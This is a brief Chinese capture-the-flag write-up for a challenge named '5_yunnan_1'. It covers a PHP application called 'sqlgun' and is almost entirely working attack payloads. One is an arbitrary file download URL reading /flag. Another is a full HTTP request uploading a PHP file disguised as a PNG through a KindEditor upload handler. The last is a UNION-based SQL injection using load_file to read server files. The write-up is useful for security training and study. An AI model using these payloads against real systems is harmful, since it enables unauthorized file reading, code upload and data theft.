5_yunnan_1

by Hence Zhang@Lancet

任意文件下载：

漏洞文件位置：sqlgunadmin/downlog.php

payload：/sqlgunadmin/downlog.php?downlog=down&filepath=/flag

任意文件上传漏洞：

漏洞文件位置：

sqlgunadmin/kindedit/php/upload_json.php

Payload:

```
POST /sqlgunadmin/kindedit/php/upload_json.php HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 200
Cache-Control: max-age=0
Origin: http://47.105.121.116:9090
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarym3oBOAiRhgSccYAv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://47.105.121.116:9090/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Connection: close

------WebKitFormBoundarym3oBOAiRhgSccYAv
Content-Disposition: form-data; name="imgFile"; filename="1.php"
Content-Type: image/png


<?php phpinfo();?>
------WebKitFormBoundarym3oBOAiRhgSccYAv--
```

sql注入漏洞读取flag

```
POST /sqlgunsearch.php HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 47
Cache-Control: max-age=0
Origin: http://47.105.121.116:9090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Referer: http://47.105.121.116:9090/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
PHPSESSID=ujg0tpds1u9d23b969f2duj5c7; stylesheet=ayti
Connection: close

key=aa%' union select 1,2,load_file('/flag')#--
```